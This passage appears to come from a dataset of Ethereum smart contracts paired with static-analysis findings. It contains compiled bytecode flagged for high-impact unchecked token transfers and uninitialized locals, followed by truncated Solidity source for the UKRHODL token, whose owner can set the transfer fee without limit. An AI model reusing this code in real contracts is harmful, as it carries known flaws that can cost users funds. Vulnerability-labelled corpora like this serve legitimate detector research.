06040518051505050565b600654600160a060020a031681565b60005433600160a060020a03908116911614610ec257600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03331660009081526001602052604090205460ff161515610f1857600080fd5b600160a060020a03919091166000908152600260205260409020805460ff1916911515919091179055565b60005433600160a060020a03908116911614610f5e57600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005433600160a060020a03908116911614610fa857600080fd5b6006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005433600160a060020a03908116911614610ff257600080fd5b6005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03331660009081526001602052604081205481908190819060ff16151561104e57600080fd5b600454600160a060020a0316639267b2916040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561108d57600080fd5b5af1151561109a57600080fd5b5050506040518051905015156110af57600080fd5b60018510156110bd57600080fd5b600454600160a060020a031663196ecd25888860405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561111357600080fd5b5af1151561112057600080fd5b5050506040518051905093506111368486612293565b925060638311156111ba57600454600160a060020a031663969ddd71888860405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561119757600080fd5b5af115156111a457600080fd5b505050604051805184111590506111ba57600080fd5b602986146111c757600080fd5b600554600160a060020a031663b2570b1c87868860405160e060020a63ffffffff8616028152600481019390935260248301919091526044820152606401608060405180830381600087803b151561121e57600080fd5b5af1151561122b57600080fd5b50505060405180519060200180519060200180519060200180515050600454919450925060009150600160a060020a031663a436e33b8960405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156112a057600080fd5b5af115156112ad57600080fd5b5050506040518051905011151561131f57600454600160a060020a031663f7fb0a4b8860405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561130e57600080fd5b5af1151561131b57600080fd5b5050505b600454600160a060020a031663fc4756df8887600160405160e060020a63ffffffff8616028152600160a060020a039093166004840152602483019190915215156044820152606401600060405180830381600087803b151561138157600080fd5b5af1151561138e57600080fd5b5050600454600160a060020a0316905063e7001b84888888600160405160e060020a63ffffffff8716028152600160a060020a0390941660048501526024840192909252604483015215156064820152608401600060405180830381600087803b15156113fa57600080fd5b5af1151561140757600080fd5b5050507fb6d35f558a34938047f09ebf800fa2e15ec407c357a8eab97a5dd67b4d015b5b8787876040518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a150505050505050565b600054600160a060020a031681565b600080600085600160a060020a031633600160a060020a03161415156114a057600080fd5b60018410156114ae57600080fd5b600354600160a060020a03166323b872dd89308a60405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561151157600080fd5b5af1151561151e57600080fd5b50505060405180519050151561153357600080fd5b61156b85858080601f0160208091040260200160405190810160405281815292919060208401838380828437506122ad945050505050565b91945092509050600183141561158c576115878888848461239f565b6115b4565b82600314156115a057611587888884612eb2565b82600414156115b4576115b48888846135df565b5050505050505050565b6004546000908190819081908190819081908190600160a060020a0316639267b2916040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561160e57600080fd5b5af1151561161b57600080fd5b50505060405180519050151561163057600080fd5b600454600160a060020a031663196ecd25338c60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561168657600080fd5b5af1151561169357600080fd5b50505060405180519850508888108015906116ae5750600089115b15156116b957600080fd5b6116c3888a613ff2565b975060288a106117c857600554600160a060020a031663b2570b1c8b8a8c60405160e060020a63ffffffff8616028152600481019390935260248301919091526044820152606401608060405180830381600087803b151561172457600080fd5b5af1151561173157600080fd5b50505060405180519060200180519060200180519060200180516005549499509296509193506117c192600160a060020a0316915063b6206e6790508c60405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b15156117a457600080fd5b5af115156117b157600080fd5b505050604051805190508a614004565b91506118ab565b600554600160a060020a031663ee4827ea8b8a8c60405160e060020a63ffffffff861602815260048101939093526024830191909152604482015260640160a060405180830381600087803b151561181f57600080fd5b5af1151561182c57600080fd5b5050506040518051906020018051906020018051906020018051906020018051600554959a509398509196509193506118a892600160a060020a0316915063fbe45b4890508c60405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b15156117a457600080fd5b91505b8015156118b757600080fd5b600083111561194c5760045461194590600160a060020a0316634676b8973360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561191457600080fd5b5af1151561192157600080fd5b50505060405180519050611940611939866046614004565b606461402f565b612293565b96506119b5565b600454600160a060020a0316634676b8973360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561199c57600080fd5b5af115156119a957600080fd5b50505060405180519750505b600454600160a060020a031663176854f63360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b1515611a0557600080fd5b5af11515611a1257600080fd5b5050600454600160a060020a0316905063448a0ceb8860405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b1515611a5e57600080fd5b5af11515611a6b57600080fd5b5050600454600160a060020a0316905063a6678b603389600160405160e060020a63ffffffff8616028152600160a060020a039093166004840152602483019190915215156044820152606401600060405180830381600087803b1515611ad157600080fd5b5af11515611ade57600080fd5b5050600454600160a060020a031690506397ce3a4b338c8c60405160e060020a63ffffffff8616028152600160a060020a03909316600484015260248301919091526044820152606401602060405180830381600087803b1515611b4157600080fd5b5af11515611b4e57600080fd5b50505060405180519650506000841115611c4257600454600160a060020a031663396e70e0338860405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b1515611bb857600080fd5b5af11515611bc557600080fd5b5050600454600160a060020a0316905063ce29555f338c89600060405160e060020a63ffffffff8716028152600160a060020a0390941660048501526024840192909252604483015215156064820152608401600060405180830381600087803b1515611c3157600080fd5b5af11515611c3e57600080fd5b5050505b6000821115611cd457600454600160a060020a0316635460554933611c6b611939866046614004565b60018060405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260ff16604483015215156064820152608401600060405180830381600087803b1515611cc357600080fd5b5af11515611cd057600080fd5b5050505b600454600160a060020a031663e7001b84338c8c600060405160e060020a63ffffffff8716028152600160a060020a0390941660048501526024840192909252604483015215156064820152608401600060405180830381600087803b1515611d3c57600080fd5b5af11515611d4957600080fd5b5050600454600160a060020a0316905063fc4756df338b600060405160e060020a63ffffffff8616028152600160a060020a039093166004840152602483019190915215156044820152606401600060405180830381600087803b1515611daf57600080fd5b5af11515611dbc57600080fd5b5050507f9c8076df639d56f1ef3ca3d4d8dc6ed089f8c4756bc5bf5d574f1cec4ef13c54338b8b6040518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a150505050505050505050565b60045460009081908190819081908190600160a060020a0316639267b2916040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515611e7057600080fd5b5af11515611e7d57600080fd5b505050604051805190501515611e9257600080fd5b6001871015611ea057600080fd5b600454600160a060020a031663e946ad4a338960405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515611ef657600080fd5b5af11515611f0357600080fd5b5050506040518051600554909750600160a060020a031690506373f9421d888860405160e060020a63ffffffff85160281526004810192909252602482015260440160c060405180830381600087803b1515611f5e57600080fd5b5af11515611f6b57600080fd5b50505060405180519060200180519060200180519060200180519060200180519060200180515094995092975090955093509150506008831015611fbc576005861115611fb757600080fd5b611fca565b6002861115611fca57600080fd5b600085118015611fd8575083155b1515611fe357600080fd5b6004548590600160a060020a03166370a082313360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561203557600080fd5b5af1151561204257600080fd5b505050604051805190501015151561205957600080fd5b600454600160a060020a031663a1c90a11338760405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b15156120af57600080fd5b5af115156120bc57600080fd5b5050600454600160a060020a03169050635edc9bff3385858560405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260448301526064820152608401600060405180830381600087803b151561212557600080fd5b5af1151561213257600080fd5b5050600454600160a060020a03169050632a288272338960405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b151561218c57600080fd5b5af1151561219957600080fd5b5050507f5923958ad0a0f9e2754b81ea1c7483dcdd7481e51b34ee4846bdaa6d5403c3453388604051600160a060020a03909216825260208201526040908101905180910390a150505050505050565b60005433600160a060020a0390811691161461220457600080fd5b600160a060020a038116151561221957600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600554600160a060020a031681565b6000828201838110156122a257fe5b8091505b5092915050565b600080600083516002141561231557836000815181106122c957fe5b016020015160f860020a900460f860020a0260f860020a90049250836001815181106122f157fe5b016020015160f860020a900460f860020a0260f860020a9004915060019050612398565b835160031415612398578360008151811061232c57fe5b016020015160f860020a900460f860020a0260f860020a900492508360018151811061235457fe5b016020015160f860020a900460f860020a0260f860020a900491508360028151811061237c57fe5b016020015160f860020a900460f860020a0260f860020a900490505b9193909250565b60045460009081908190819081908190600160a060020a0316639267b2916040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156123eb57600080fd5b5af115156123f857600080fd5b50505060405180519050151561240d57600080fd5b600187101561241b57600080fd5b600454600160a060020a031663196ecd258b8a60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561247157600080fd5b5af1151561247e57600080fd5b5050506040518051905095506124948688612293565b9450606385111561251857600454600160a060020a031663969ddd718b8a60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156124f557600080fd5b5af1151561250257600080fd5b5050506040518051861115905061251857600080fd5b6001881015801561252a575060278811155b1561267157600554600160a060020a031663702123ae8960405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561257757600080fd5b5af1151561258457600080fd5b5050506040518051600554909550600160a060020a0316905063320cffcd89888a60405160e060020a63ffffffff8616028152600481019390935260248301919091526044820152606401602060405180830381600087803b15156125e857600080fd5b5af115156125f557600080fd5b505050604051805160055490945061266a9150600160a060020a031663fbe45b488a60405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561264d57600080fd5b5af1151561265a57600080fd5b5050506040518051905088614004565b9150612738565b6028881061273857600554600160a060020a031663a8aeecd989888a60405160e060020a63ffffffff8616028152600481019390935260248301919091526044820152606401602060405180830381600087803b15156126d057600080fd5b5af115156126dd57600080fd5b50505060405180516005549094506127359150600160a060020a031663b6206e678a60405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561264d57600080fd5b91505b6000821161274557600080fd5b60045482906127c290600160a060020a031663e8d320e68d600160405160e060020a63ffffffff8516028152600160a060020a03909216600483015260ff166024820152604401602060405180830381600087803b15156127a557600080fd5b5af115156127b257600080fd5b505050604051805190508b612293565b10156127cd57600080fd5b6004548390600160a060020a03166370a082318c60405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561281f57600080fd5b5af1151561282c57600080fd5b505050604051805190501015151561284357600080fd5b600454600160a060020a031663a1c90a118b8560405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b151561289957600080fd5b5af115156128a657600080fd5b5050508882111561293b57600454600160a060020a031663546055498b6128cd858d613ff2565b6001600060405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260ff16604483015215156064820152608401600060405180830381600087803b151561292657600080fd5b5af1151561293357600080fd5b5050506129c8565b818911156129c857600454600160a060020a031663546055498b61295f8c86613ff2565b60018060405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260ff16604483015215156064820152608401600060405180830381600087803b15156129b757600080fd5b5af115156129c457600080fd5b5050505b6129d382601461402f565b60048054919250600160a060020a039091169063358cfa25906129f790859061402f565b60018060405160e060020a63ffffffff8616028152600481019390935260ff909116602483015215156044820152606401600060405180830381600087803b1515612a4157600080fd5b5af11515612a4e57600080fd5b5050600454600054600160a060020a039182169250635460554991168360018060405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260ff16604483015215156064820152608401600060405180830381600087803b1515612ac357600080fd5b5af11515612ad057600080fd5b5050506000841115612c9057600454600160a060020a03166379c310a68b82632d171243828d8d60405160e060020a63ffffffff8616028152600160a060020a03909316600484015260248301919091526044820152606401602060405180830381600087803b1515612b4257600080fd5b5af11515612b4f57600080fd5b5050506040518051905060405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b1515612b9c57600080fd5b5af11515612ba957600080fd5b5050600454600160a060020a0316905063ce29555f8b8a83632d17124383838e60405160e060020a63ffffffff8616028152600160a060020a03909316600484015260248301919091526044820152606401602060405180830381600087803b1515612c1457600080fd5b5af11515612c2157600080fd5b50505060405180519050600160405160e060020a63ffffffff8716028152600160a060020a0390941660048501526024840192909252604483015215156064820152608401600060405180830381600087803b1515612c7f57600080fd5b5af11515612c8c57600080fd5b5050505b600454600090600160a060020a031663a436e33b8c60405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515612ce357600080fd5b5af11515612cf057600080fd5b50505060405180519050111515612d6257600454600160a060020a031663f7fb0a4b8b60405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b1515612d5157600080fd5b5af11515612d5e57600080fd5b5050505b600454600160a060020a031663fc4756df8b89600160405160e060020a63ffffffff8616028152600160a060020a039093166004840152602483019190915215156044820152606401600060405180830381600087803b1515612dc457600080fd5b5af11515612dd157600080fd5b5050600454600160a060020a0316905063e7001b848b8a8a600160405160e060020a63ffffffff8716028152600160a060020a0390941660048501526024840192909252604483015215156064820152608401600060405180830381600087803b1515612e3d57600080fd5b5af11515612e4a57600080fd5b5050507fb6d35f558a34938047f09ebf800fa2e15ec407c357a8eab97a5dd67b4d015b5b8a89896040518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a150505050505050505050565b6004546000908190819081908190819081908190600160a060020a0316639267b2916040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515612f0257600080fd5b5af11515612f0f57600080fd5b505050604051805190501515612f2457600080fd5b6001891015612f3257600080fd5b600454600160a060020a031663e946ad4a8c8b60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515612f8857600080fd5b5af11515612f9557600080fd5b50505060405180519850506005881115612fae57600080fd5b600554600160a060020a03166373f9421d8a8a60405160e060020a63ffffffff85160281526004810192909252602482015260440160c060405180830381600087803b1515612ffc57600080fd5b5af1151561300957600080fd5b5050506040518051906020018051906020018051906020018051906020018051906020018051959c50939a5091985096509450909250506000821161304d57600080fd5b60008211156133035760045482906130d390600160a060020a031663e8d320e68e600160405160e060020a63ffffffff8516028152600160a060020a03909216600483015260ff166024820152604401602060405180830381600087803b15156130b657600080fd5b5af115156130c357600080fd5b505050604051805190508c612293565b10156130de57600080fd5b8982111561317057600454600160a060020a031663546055498c613102858e613ff2565b6001600060405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260ff16604483015215156064820152608401600060405180830381600087803b151561315b57600080fd5b5af1151561316857600080fd5b5050506131fd565b898210156131fd57600454600160a060020a031663546055498c6131948d86613ff2565b60018060405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260ff16604483015215156064820152608401600060405180830381600087803b15156131ec57600080fd5b5af115156131f957600080fd5b5050505b61320882601461402f565b600454909150600160a060020a031663358cfa256132268484613ff2565b60018060405160e060020a63ffffffff8616028152600481019390935260ff909116602483015215156044820152606401600060405180830381600087803b151561327057600080fd5b5af1151561327d57600080fd5b5050600454600054600160a060020a039182169250635460554991168360018060405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260ff16604483015215156064820152608401600060405180830381600087803b15156132f257600080fd5b5af115156132ff57600080fd5b5050505b6004548790600160a060020a03166370a082318d60405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561335557600080fd5b5af1151561336257600080fd5b505050604051805190501015151561337957600080fd5b600454600160a060020a031663a1c90a118c8960405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b15156133cf57600080fd5b5af115156133dc57600080fd5b5050600454600160a060020a03169050635edc9bff8c87878760405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260448301526064820152608401600060405180830381600087803b151561344557600080fd5b5af1151561345257600080fd5b5050600454600160a060020a03169050632a2882728c8b60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b15156134ac57600080fd5b5af115156134b957600080fd5b505060045460009150600160a060020a031663a436e33b8d60405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561350f57600080fd5b5af1151561351c57600080fd5b5050506040518051905011151561358e57600454600160a060020a031663f7fb0a4b8c60405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561357d57600080fd5b5af1151561358a57600080fd5b5050505b7f5923958ad0a0f9e2754b81ea1c7483dcdd7481e51b34ee4846bdaa6d5403c3458b8a604051600160a060020a03909216825260208201526040908101905180910390a15050505050505050505050565b6004546000908190819081908190819081908190600160a060020a0316639267b2916040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561362f57600080fd5b5af1151561363c57600080fd5b50505060405180519050151561365157600080fd5b600654600160a060020a03166372eefb8a8a60405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561369957600080fd5b5af115156136a657600080fd5b5050506040518051985050600160a060020a03881615156136c657600080fd5b600160a060020a038b811690891614156136df57600080fd5b600654600160a060020a031663104a5e758a60405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561372757600080fd5b5af1151561373457600080fd5b505050604051805160045490985061379e9150600160a060020a031663e8d320e68d600160405160e060020a63ffffffff8516028152600160a060020a03909216600483015260ff166024820152604401602060405180830381600087803b15156127a557600080fd5b9550868610156137ad57600080fd5b600454600160a060020a031663e3cbe7448c60405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b15156137fd57600080fd5b5af1151561380a57600080fd5b5050600454600160a060020a0316905063e3cbe7448960405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561385e57600080fd5b5af1151561386b57600080fd5b5050600654600160a060020a031690506382a86cda8a60405160e060020a63ffffffff8416028152600481019190915260240160c060405180830381600087803b15156138b757600080fd5b5af115156138c457600080fd5b5050506040518051906020018051906020018051906020018051906020018051906020018051600454939b5091995090975050600160a060020a03169250635edc9bff91508d905087878760405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260448301526064820152608401600060405180830381600087803b151561395f57600080fd5b5af1151561396c57600080fd5b5050600454600160a060020a031690506352d214a78987878760405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260448301526064820152608401600060405180830381600087803b15156139d557600080fd5b5af115156139e257600080fd5b50505089871115613a7757600454600160a060020a031663546055498c613a098a8e613ff2565b6001600060405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260ff16604483015215156064820152608401600060405180830381600087803b1515613a6257600080fd5b5af11515613a6f57600080fd5b505050613b04565b868a1115613b0457600454600160a060020a031663546055498c613a9b8d8b613ff2565b60018060405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260ff16604483015215156064820152608401600060405180830381600087803b1515613af357600080fd5b5af11515613b0057600080fd5b5050505b613b0f87601461402f565b9150613b1c87601461402f565b600454909150600160a060020a031663358cfa258260018060405160e060020a63ffffffff8616028152600481019390935260ff909116602483015215156044820152606401600060405180830381600087803b1515613b7b57600080fd5b5af11515613b8857600080fd5b5050600454600054600160a060020a039182169250635460554991168460018060405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260ff16604483015215156064820152608401600060405180830381600087803b1515613bfd57600080fd5b5af11515613c0a57600080fd5b5050600654600160a060020a0316905063f5537ede898d8c60405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401600060405180830381600087803b1515613c7157600080fd5b5af11515613c7e57600080fd5b5050600654600160a060020a031690506373a553898a613cfc613cf58463103d26ac8460405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515613cd757600080fd5b5af11515613ce457600080fd5b505050604051805190506005614004565b600461402f565b60405160e060020a63ffffffff851602815260048101929092526024820152604401600060405180830381600087803b1515613d3757600080fd5b5af11515613d4457600080fd5b5050600454600160a060020a03169050635460554989613d6d8a613d688688612293565b613ff2565b60018060405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260ff16604483015215156064820152608401600060405180830381600087803b1515613dc557600080fd5b5af11515613dd257600080fd5b505060045460009150600160a060020a031663a436e33b8d60405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515613e2857600080fd5b5af11515613e3557600080fd5b50505060405180519050111515613ea757600454600160a060020a031663f7fb0a4b8c60405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b1515613e9657600080fd5b5af11515613ea357600080fd5b5050505b600454600160a060020a031663fc4756df8c60018060405160e060020a63ffffffff8616028152600160a060020a039093166004840152602483019190915215156044820152606401600060405180830381600087803b1515613f0957600080fd5b5af11515613f1657600080fd5b5050600454600160a060020a0316905063fc4756df8960018060405160e060020a63ffffffff8616028152600160a060020a039093166004840152602483019190915215156044820152606401600060405180830381600087803b1515613f7c57600080fd5b5af11515613f8957600080fd5b5050507f384a5203a72a9d3dc8f2dd0c78e393c368a78a6dfda91fc33f89bb8609a918d38b898b8a604051600160a060020a0394851681529290931660208301526040808301919091526060820192909252608001905180910390a15050505050505050505050565b600082821115613ffe57fe5b50900390565b60008083151561401757600091506122a6565b5082820282848281151561402757fe5b04146122a257fe5b600080828481151561403d57fe5b049493505050505600a165627a7a7230582037c00b155f0144ea9b3c4f2e04a5f7d5d9adf79618f9026c91eeda8e28ff1fe20029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
74
0xf1a14C92a5eBB846A88705eC3A153E88ac7ea8be
pragma solidity ^0.6.12; // SPDX-License-Identifier: Unlicensed interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract UKRToken is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private _tTotal = 22500000* 10**9; address public projectAddr = 0xD84761765f0385e9592744D1cF0464B7F2A380B8; address public premierAddr = 0x165CD37b4C644C2921454429E7F9358d18A45e14; string private _name = "UKRHODL"; string private _symbol = "UKRHODL"; uint8 private _decimals = 9; uint256 public timefee = 1 days; uint256 public Cancel; uint256 public _taxFee = 1; uint256 private _previousTaxFee = _taxFee; constructor () public { _tOwned[projectAddr] = _tTotal; Cancel = block.timestamp; _isExcludedFromFee[projectAddr] = true; emit Transfer(address(0), projectAddr, _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(block.timestamp >= Cancel.add(timefee))_taxFee = 0; bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function removeAllFee() private { if(_taxFee == 0) return; _previousTaxFee = _taxFee; _taxFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; } function _tokenTransfer(address 